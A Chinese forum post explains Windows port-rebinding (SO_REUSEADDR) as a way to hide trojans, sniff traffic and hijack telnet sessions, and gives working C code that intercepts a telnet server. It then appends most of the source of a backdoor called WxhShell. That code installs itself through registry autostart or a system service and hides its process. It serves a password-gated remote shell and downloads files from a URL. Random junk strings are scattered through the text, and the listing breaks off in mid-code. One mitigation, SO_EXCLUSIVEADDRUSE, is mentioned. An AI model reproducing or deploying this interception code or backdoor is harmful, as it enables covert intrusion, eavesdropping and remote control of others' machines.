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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /SR*W5#s  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _/$Bpr{R  
6<SAa#@ey  
  saddr.sin_family = AF_INET; sf qL|8  
/{ l$sBUL  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); %@aSe2B  
E0=)HTtS  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .GXBc  
Y_IF;V\  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1CD+B=pQG  
4jM Fr,  
  这意味着什么?意味着可以进行如下的攻击: orpriO|qD  
`pa!~|p  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 iRbT/cc{  
KeB"D!={;  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) z+wA rPxc  
ItVWO:x&v  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 'RR~7h  
(O?.)jEW(.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  z&)A,ryW0  
X1|njJGO1  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 drP=A~?&:  
\)N9aV  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 w~A{(- dx  
"@@u3`#  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `Bp.RXsd*  
QB uMJm  
  #include =pO^7g  
  #include ;>yxNGV`  
  #include y/{fX(aV  
  #include     .-c4wm}  
  DWORD WINAPI ClientThread(LPVOID lpParam);   nI-w}NQ  
  int main() kQSy+q  
  { mt{nm[D!Xp  
  WORD wVersionRequested; 4<Utmr  
  DWORD ret; - t'jNR'  
  WSADATA wsaData; 61>.vT8P  
  BOOL val; 5h-SCB>P  
  SOCKADDR_IN saddr; mbxZL<ua  
  SOCKADDR_IN scaddr; \BTODZ:h  
  int err; +H-6eP  
  SOCKET s; jyUjlYAAv`  
  SOCKET sc;  :D6 ON"6  
  int caddsize; dI(@ZV{  
  HANDLE mt; L-WT]&n_  
  DWORD tid;   2d #1=+V  
  wVersionRequested = MAKEWORD( 2, 2 ); q4:o#K#  
  err = WSAStartup( wVersionRequested, &wsaData ); y<|7z99L  
  if ( err != 0 ) { QUc= &5 %  
  printf("error!WSAStartup failed!\n"); i {NzV  
  return -1; :'-/NtV)o?  
  } W0@n/U  
  saddr.sin_family = AF_INET; E)5\i-n  
   t ;;U}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 IqaT?+O\?r  
N=5a54!/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); v\gLWq'  
  saddr.sin_port = htons(23); l'-Bu(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xQ-<WF1i  
  { %~H-)_d20  
  printf("error!socket failed!\n"); yy^q2P  
  return -1; kW Ml  
  } :Uzm  
  val = TRUE; @]%IK(|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 .\ULbN3Z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) TOB-aAO  
  { x:NY\._  
  printf("error!setsockopt failed!\n"); |^"1{7)  
  return -1; [I,Z2G,Jb  
  } eCU:Q  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; A Ru2W1g  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 TCwFPlF|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 en4k/w_  
!&y8@MD15  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) zII|9y  
  { <e=#F-DE  
  ret=GetLastError(); C\Wmq [  
  printf("error!bind failed!\n"); '6iEMg&3  
  return -1; RNEp4x  
  } taHJ ub  
  listen(s,2); i/;\7n  
  while(1) Db}j?ik/  
  { ah4N|zJ>v  
  caddsize = sizeof(scaddr); %A9NB!  
  //接受连接请求 *MhRW,=  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); GbY7_N  
  if(sc!=INVALID_SOCKET) z1 | TC  
  { 36&e.3/#  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); B:yGS*.tu  
  if(mt==NULL) ^+>laOzC`8  
  { i4Q@K,$  
  printf("Thread Creat Failed!\n"); KEo ,m  
  break; E1aHKjLQ  
  } *MFIV02[N  
  } W dK #ZOR  
  CloseHandle(mt); Tj` ,Z5vy  
  } x/I%2F  
  closesocket(s); ~OYiq}g  
  WSACleanup(); 6RU~"C  
  return 0; t:x\kp  
  }   )5Q~I,dP  
  DWORD WINAPI ClientThread(LPVOID lpParam) PFlNo` iO  
  { <y('hI'  
  SOCKET ss = (SOCKET)lpParam; !7O+ogL  
  SOCKET sc; 9rA0lqr]5  
  unsigned char buf[4096]; }^ ~F|  
  SOCKADDR_IN saddr; T[w]o}>cW  
  long num; Tt`u:ZwhF  
  DWORD val; g-4M3of  
  DWORD ret; [x=s(:qy  
  //如果是隐藏端口应用的话,可以在此处加一些判断 }1L4 "}L.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   hlvK5Z   
  saddr.sin_family = AF_INET; +5g_KS  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); z3{G9Np  
  saddr.sin_port = htons(23); kr^P6}'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) htO +z7  
  { r..iko]T  
  printf("error!socket failed!\n"); o=:9y-nH  
  return -1; Y #ap*  
  } ?um;s-x)  
  val = 100; P[G)sA_"  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0I-9nuw,^;  
  { b"<liGh"n-  
  ret = GetLastError(); TM__I\+Q  
  return -1; IEL%!RFG  
  } <6%?OJhp  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4B8 oO  
  { M~Tuj1?  
  ret = GetLastError(); y1jCg%'H  
  return -1; "=HA Y  
  } @(EAq<5{  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 9d0@wq.  
  { wyH[x!QX  
  printf("error!socket connect failed!\n"); ih-#5M@  
  closesocket(sc); CCs%%U/=  
  closesocket(ss); l5Uiw2  
  return -1; (U D nsF  
  } ;>%r9pz ~  
  while(1) \i>?q   
  { B-RjMxX4>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 W<h)HhyG  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *P[ hy  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 f=+mIZ  
  num = recv(ss,buf,4096,0); r5S[-`s;  
  if(num>0) .r=4pQ@#  
  send(sc,buf,num,0); c8 )DuJ#U  
  else if(num==0) @W.S6;GA\  
  break; h6Ub}(Ov  
  num = recv(sc,buf,4096,0); _O)>$.^6  
  if(num>0)  C#.->\  
  send(ss,buf,num,0); '?{OZXg  
  else if(num==0) >%_\;svZG  
  break; *xAqnk   
  } A;q9rD,_  
  closesocket(ss); Qab>|eSm  
  closesocket(sc); ^do9*YejX;  
  return 0 ; /aCc17>2V{  
  } )EPjAv  
{S]}.7`l9(  
nAAs{  
========================================================== 1/B>XkCJ  
5+4IN5o]=  
下边附上一个代码,,WXhSHELL EmWn%eMN  
a@K%06A;'  
========================================================== fivw~z|[@  
;J( 8 L  
#include "stdafx.h" b<[Or^X ]  
e-/&$Qq  
#include <stdio.h> Lz}OwKl  
#include <string.h> R{`(c/%8  
#include <windows.h> h%na>G  
#include <winsock2.h> C\3rJy(VJ  
#include <winsvc.h> Ys9[5@7  
#include <urlmon.h> S&5&];Ag  
:1Xz4wkWS*  
#pragma comment (lib, "Ws2_32.lib") XAKs0*J>  
#pragma comment (lib, "urlmon.lib") _#E0g'3  
5J.bD)yrP  
#define MAX_USER   100 // 最大客户端连接数 IVnHf_PzF  
#define BUF_SOCK   200 // sock buffer (62"8iD6  
#define KEY_BUFF   255 // 输入 buffer |)DGkOtd  
 R Z?jJm$  
#define REBOOT     0   // 重启 G^|:N[>B  
#define SHUTDOWN   1   // 关机 Pl06:g2I  
wc@X.Q[  
#define DEF_PORT   5000 // 监听端口 pZ{+c  
s-!ArB,  
#define REG_LEN     16   // 注册表键长度 dm0R[[7  
#define SVC_LEN     80   // NT服务名长度 w$iX.2|9%u  
)gUR@V>e2  
// 从dll定义API j?\Qh  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {%5eMyF#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *!t/"b  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @l5"nBs<_:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Zd%k*BC  
dh iuI|?@  
// wxhshell配置信息 =U9*'EFr  
struct WSCFG { 9!\B6=r y4  
  int ws_port;         // 监听端口 r.&Vw|*>  
  char ws_passstr[REG_LEN]; // 口令 ?pmHFlx  
  int ws_autoins;       // 安装标记, 1=yes 0=no K&]G3W%V  
  char ws_regname[REG_LEN]; // 注册表键名 h 0Q5-EA  
  char ws_svcname[REG_LEN]; // 服务名 '3tCH)s  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 M#6W(|V/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 wH&!W~M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;?i W%:_,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 20h, ^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" CAWNDl4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 e{K 215  
!>&o01i  
}; nPl?K:(  
=z69e%.  
// default Wxhshell configuration n0 {i&[I~+  
struct WSCFG wscfg={DEF_PORT, } 9Eg=%0v  
    "xuhuanlingzhe", u'DRN,h+  
    1, sY Qk  
    "Wxhshell", YnAm{YyI  
    "Wxhshell", ;bib/  
            "WxhShell Service", 7(8;t o6(  
    "Wrsky Windows CmdShell Service", ^"2J]&x`G  
    "Please Input Your Password: ", E6ElNgL  
  1, *vxk@ `K~  
  "http://www.wrsky.com/wxhshell.exe", m}t`FsB.  
  "Wxhshell.exe" v>)"HL"XG  
    }; Y"aJur=`  
"ne?P9'hF  
// 消息定义模块 -;m0R  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `?_Q5lp/s  
char *msg_ws_prompt="\n\r? for help\n\r#>"; AJ`h9 %B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xF'EiX~  
char *msg_ws_ext="\n\rExit."; 06Sceq  
char *msg_ws_end="\n\rQuit."; IueFx u  
char *msg_ws_boot="\n\rReboot..."; J @1!Oq>  
char *msg_ws_poff="\n\rShutdown..."; Ckuh:bs  
char *msg_ws_down="\n\rSave to "; 6j]0R*B7`Q  
f+,qNvBY/  
char *msg_ws_err="\n\rErr!"; _op}1   
char *msg_ws_ok="\n\rOK!"; 6Y?|w3f   
k"zv~`i'  
char ExeFile[MAX_PATH]; xy[3u?,&s!  
int nUser = 0; SsDmoEeB[  
HANDLE handles[MAX_USER]; Vaw+.sG`AP  
int OsIsNt; :>f )g  
{qJ1ko)$  
SERVICE_STATUS       serviceStatus; 37.S\ gO]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9 -a0:bP  
R"t,xM  
// 函数声明 H3=qe I  
int Install(void); A[{yCn`tM  
int Uninstall(void); u^I|T.w<r6  
int DownloadFile(char *sURL, SOCKET wsh); ZG8DIV\D7  
int Boot(int flag); YZ8>OwQz2  
void HideProc(void); KBc1{adDx@  
int GetOsVer(void); >jLY"  
int Wxhshell(SOCKET wsl); {ROVvs`  
void TalkWithClient(void *cs); >tV{Pd1  
int CmdShell(SOCKET sock);  SRDp*  
int StartFromService(void); 21l;\W  
int StartWxhshell(LPSTR lpCmdLine); Ie#Bkw'*  
#f]SK[nR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =>v#4zFd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "`e{/7I  
Fq<A  
// 数据结构和表定义 .?sx&2R2  
SERVICE_TABLE_ENTRY DispatchTable[] = bwMm#f  
{ $G@5qxcV  
{wscfg.ws_svcname, NTServiceMain}, N5 6g+,w%)  
{NULL, NULL} 0IBSRFt$g&  
}; d^ 8ZeC#  
:tg)p+KB  
// 自我安装 /7F:T[  
int Install(void) vXZOy%$o  
{ _A9AEi'.  
  char svExeFile[MAX_PATH]; &n:.k}/P  
  HKEY key; jm/`iXnMf  
  strcpy(svExeFile,ExeFile); bK&+5t&  
0 /U{p,r6`  
// 如果是win9x系统,修改注册表设为自启动 \Uq(Zga4)  
if(!OsIsNt) { cR<fJ[*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4!no~ $b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W[e$>yK  
  RegCloseKey(key); {_p_%;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4>e&f&y~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VuZuS6~#J  
  RegCloseKey(key); +#@I~u _}D  
  return 0; ]Q)OL  
    } =dYqS[kJW  
  } BUXpC xQ  
} lzVq1@B  
else { )1`0PJoHE  
fJ!R6D  
// 如果是NT以上系统,安装为系统服务 $B5aje}i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i$ 6ypuc  
if (schSCManager!=0) Txb#C[`  
{ _F|Ek;y%  
  SC_HANDLE schService = CreateService Y&Z.2>b  
  ( 56kI 5:  
  schSCManager, S3 Xl  
  wscfg.ws_svcname, ],Do6 @M-  
  wscfg.ws_svcdisp, ^o&. fQ*  
  SERVICE_ALL_ACCESS, ;+ hH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .Rs^YZF  
  SERVICE_AUTO_START, ?J >  
  SERVICE_ERROR_NORMAL, mtcw#D  
  svExeFile, Si;H0uPO  
  NULL, q(W3i^778  
  NULL, 5MJS ~(  
  NULL, z[qDkL  
  NULL, Yufc{M00  
  NULL _ZSR.w}j/  
  ); 1f=gYzuO)  
  if (schService!=0) &7tbI5na@  
  { \d`h/tHk  
  CloseServiceHandle(schService); >7DhTM-A  
  CloseServiceHandle(schSCManager); Fd9 [pU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z1X`o  
  strcat(svExeFile,wscfg.ws_svcname); k!'a,R:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D_zZXbNc  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); QD]6C2j*  
  RegCloseKey(key); V+9 MoT?8  
  return 0; -r]W  
    } L`TRJ.GaJ  
  } -]M5wb2,  
  CloseServiceHandle(schSCManager); hZt!/?dc  
} +A?U{q  
} WX3-\Y5E  
#Ki[$bS~6  
return 1; L$M9w  
} j*r{2f4Rt  
IF:;`r@%  
// 自我卸载 i?^L/b`H  
int Uninstall(void) v"Es*-{B  
{ smo~7;  
  HKEY key; Yr[\|$H5  
oe-\ozJ0  
if(!OsIsNt) { amY!qg0P*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &6nWzF  
  RegDeleteValue(key,wscfg.ws_regname); T1=fNF  
  RegCloseKey(key); \(2sW^fY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &&>ekG 9@  
  RegDeleteValue(key,wscfg.ws_regname); YS"=yye 3e  
  RegCloseKey(key); 9CD_ os\h  
  return 0; z!9-:  
  } 1/J=uH  
} t;\Y{`  
} k\?Ii<m  
else { Qq|57X)P*  
|aq"#Ml)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); YT(AUS5n  
if (schSCManager!=0) `3&v6  
{ =Jb>x#Y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6qnzBA7  
  if (schService!=0) Z/+#pWBI!  
  { o!A+&{  
  if(DeleteService(schService)!=0) { C]A.i2o8  
  CloseServiceHandle(schService); Jdj4\j u  
  CloseServiceHandle(schSCManager); 7hPY_W y  
  return 0; f._ua>v,f  
  } }-=|^  
  CloseServiceHandle(schService); F7#JLE=  
  } vy I!]p  
  CloseServiceHandle(schSCManager); \bw2u!  
} dvUic-w<j  
} ~b8]H|<'Y  
pFjK}J OF  
return 1; E r?&Y,o  
} 1iF1GkLEq  
~Z' ?LV<t  
// 从指定url下载文件 {bY%# m  
int DownloadFile(char *sURL, SOCKET wsh) Z4ImV~m  
{ $ (x]  
  HRESULT hr; f4|rVP|x  
char seps[]= "/"; u]UOSfn  
char *token; I-l_TpM)  
char *file; kE1TP]|  
char myURL[MAX_PATH]; U&qZ"  
char myFILE[MAX_PATH]; b4N[)%@  
IW] rb/H  
strcpy(myURL,sURL); ' S/gmn  
  token=strtok(myURL,seps); pTLCWbF?  
  while(token!=NULL) uoh7Sz5!^  
  { o?Oc7 $+u  
    file=token; @cXMG6:{  
  token=strtok(NULL,seps); + v:SM 9  
  } a9Zq{Ysj  
 rjnrju+  
GetCurrentDirectory(MAX_PATH,myFILE); '!B&:X)  
strcat(myFILE, "\\"); pOoEI+t  
strcat(myFILE, file); $/Uq0U  
  send(wsh,myFILE,strlen(myFILE),0); dG?*y  
send(wsh,"...",3,0); ~*];pV]A[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =[7Av>  
  if(hr==S_OK) /od@!/  
return 0; <lJ345Q  
else O5BYD=7  
return 1; (X*^dO  
=>~:<X.,  
} 0?|<I{z2  
`C'H.g\>2Q  
// 系统电源模块 ('+d.F[109  
int Boot(int flag) +] {G@pn  
{ R[]Mdt<  
  HANDLE hToken; ,f?*{Q2  
  TOKEN_PRIVILEGES tkp; 5146kp|1  
XfIJ4ZM5  
  if(OsIsNt) { Y"$xX8o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =~LJ3sIX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S~G ]~gt  
    tkp.PrivilegeCount = 1; t\O16O7S  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :e+jU5;]3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C~exi[3  
if(flag==REBOOT) { w7&A0M  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <b*DQ:N  
  return 0; TIg3` Fon  
} T6$+hUM$1  
else { _Y m2/3!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {Qj~M<@3  
  return 0; 0jWVp- y  
} :7;@ZEe  
  } HTTC TR  
  else { {?7Uj  
if(flag==REBOOT) { %E;'ln4h&,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9%obq/Lb  
  return 0; \a3+rN dj  
} Q\0'lQJdy  
else { t"I77aZ$A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kD"{g#c  
  return 0; eS){1  
} )D%~` ,#pQ  
} J] r^W)O  
7F.4Ga;  
return 1; ;722\y(Y  
} |;{6& S  
>y+B  
// win9x进程隐藏模块 tfWS)y7  
void HideProc(void) O^rDHFj,  
{ u)Whr@m  
xN'I/@ kb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <%mRSv  
  if ( hKernel != NULL ) h Xya*#n#  
  { bcz:q/f}@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Gav$HLx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F((4U"   
    FreeLibrary(hKernel); x.4m|f0;  
  } tX~w{|k  
EKN~H$.  
return; ]eV8b*d6  
} #[[ en  
1{.9uw"2S  
// 获取操作系统版本 gnHbb-<i,  
int GetOsVer(void) o5)<$P43  
{ `EQL" =)  
  OSVERSIONINFO winfo; $<OD31T  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); TkF[x%o  
  GetVersionEx(&winfo); Pc]HP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !d T4  
  return 1; l}P=/#</T  
  else tT._VK]o&R  
  return 0; -F3-{E  
} 5`_SN74o  
,/U6[P_C5  
// 客户端句柄模块 Ws12b $  
int Wxhshell(SOCKET wsl) _(zG?]y0P  
{ $Y gue5{c  
  SOCKET wsh; DW3G  
  struct sockaddr_in client; -ze J#B)C  
  DWORD myID; 0IWf!Sk ]  
&,)&%Sg[  
  while(nUser<MAX_USER) &6k3*dq  
{ MfkN]\Jyw  
  int nSize=sizeof(client); 5E <kwi  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o,wUc"CE  
  if(wsh==INVALID_SOCKET) return 1; q0 \6F^;M  
@KUWxFak  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M'l ;:  
if(handles[nUser]==0) nT)vNWT=  
  closesocket(wsh); Z #m+ObHK1  
else -%4,@ x`  
  nUser++; kvj#c  
  } ~bpgSP"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R/a*LSe@&  
i{qgn%#}Y  
  return 0; )WFr</z5bA  
} HtYwEjI  
S`]k>' l  
// 关闭 socket Dum9lj  
void CloseIt(SOCKET wsh) -D~%|).'  
{ h@wgd~X9  
closesocket(wsh); -H-~;EzU  
nUser--; +qdEq_ m  
ExitThread(0); Uoix  
} 3irl (;v  
9(<@O%YU  
// 客户端请求句柄 =H]@n|$(  
void TalkWithClient(void *cs) wwcBsJ1{  
{ mB)bcuPv  
S$X Sei_q  
  SOCKET wsh=(SOCKET)cs; }l9llu   
  char pwd[SVC_LEN]; YKf0dh;O  
  char cmd[KEY_BUFF]; 11;zNjD|  
char chr[1]; MnW+25=N  
int i,j; Y\'}a+:@Ph  
Y`wSv NU  
  while (nUser < MAX_USER) { bi;1s'Y<D  
"5$B>S(Q  
if(wscfg.ws_passstr) { P{^6v=8)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Nmh*EAJSy  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j b!i$/%w  
  //ZeroMemory(pwd,KEY_BUFF); ^T-V ^^#(  
      i=0; 0+b1vhQ  
  while(i<SVC_LEN) { b5n'=doR/I  
)@bQu~Y  
  // 设置超时 ;i+#fQO7Q  
  fd_set FdRead; x'R`. !g3  
  struct timeval TimeOut; lks!w/yCF  
  FD_ZERO(&FdRead); Wo=jskBrQ  
  FD_SET(wsh,&FdRead); A&jlizN7  
  TimeOut.tv_sec=8; <p"iY}x[H  
  TimeOut.tv_usec=0; >b4eL59  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X!g#T9kG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qJUK_6|3  
y"wShAR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $L]lHji  
  pwd=chr[0]; ;sFF+^~L  
  if(chr[0]==0xd || chr[0]==0xa) { P7/X|M z  
  pwd=0; ,s;Uf F  
  break; k"w"hg&e  
  } Thit  
  i++; wLr_-vJ  
    } <Q?F?.^e  
$iz|\m  
  // 如果是非法用户,关闭 socket < c/5b]No  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <2qr}K{'A  
} ,zY$8y]  
:9 ^* ^T  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y:a]00&)#Y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6!FQzFCZq  
pyvSwD5t  
while(1) { cExS7~*  
u;c?d!E  
  ZeroMemory(cmd,KEY_BUFF); um0N)&iY  
Z?QC!bWb  
      // 自动支持客户端 telnet标准   ~e@z;]CiY  
  j=0; }vM("v|M  
  while(j<KEY_BUFF) { v_-dx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OI*Xt`  
  cmd[j]=chr[0]; 6NHX2Ja  
  if(chr[0]==0xa || chr[0]==0xd) { wAW5 Z0D  
  cmd[j]=0; @MCg%Afw  
  break; `W*U4?M  
  } C~iL3C b  
  j++; CzEd8jeh7  
    } n7-6- #  
E~oOKQ5W  
  // 下载文件 {{p7 3 'u  
  if(strstr(cmd,"http://")) { *!7 O~yQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k\GcHI-  
  if(DownloadFile(cmd,wsh)) R*2E/8Ia  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "LTad`]<Ro  
  else &KRX[2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y/zj[>  
  } @J`"[%U  
  else { t{vJM!kdlQ  
 ZExlGC  
    switch(cmd[0]) { E=!\z%4  
  ^ (zYzd  
  // 帮助 ikiypWq  
  case '?': { Y`S vMkP)+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :G%61x&=Zc  
    break; Z>5b;8  
  } E09 :E  
  // 安装 ut7zVp<"  
  case 'i': { W|63Ir67  
    if(Install()) x+@rg];m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IB] l1<  
    else iqQD{SRt{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b}TS0+TF  
    break; +!.^zp21  
    } u5f9Jw}  
  // 卸载 |4 0`B% Z  
  case 'r': { <B6H. P =  
    if(Uninstall()) O[JL+g4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l]l'4@1   
    else 5taT5?n2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _^%,x  
    break; ExL0?FemWV  
    } 3m!X/u  
  // 显示 wxhshell 所在路径 LuvY<~u  
  case 'p': { nk' s_a*Z  
    char svExeFile[MAX_PATH]; ~%kkeh\j  
    strcpy(svExeFile,"\n\r"); ou{2@"  
      strcat(svExeFile,ExeFile); E92KP?i  
        send(wsh,svExeFile,strlen(svExeFile),0); > jc [nk  
    break; z/@slT  
    } ,M ^<CJ  
  // 重启 p]2128kqx  
  case 'b': { ]Ntmy;Q   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -**g~ty)  
    if(Boot(REBOOT)) @>Km_Ax  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 68C%B9.b'  
    else { Ig0VW)@  
    closesocket(wsh); <&g,Nc'5C  
    ExitThread(0); |~mOfuQb  
    } }Sh?S]]`  
    break; ]Wlco  
    } C 7ScS"~  
  // 关机 qHlQ+:n  
  case 'd': { #yF&X(%  
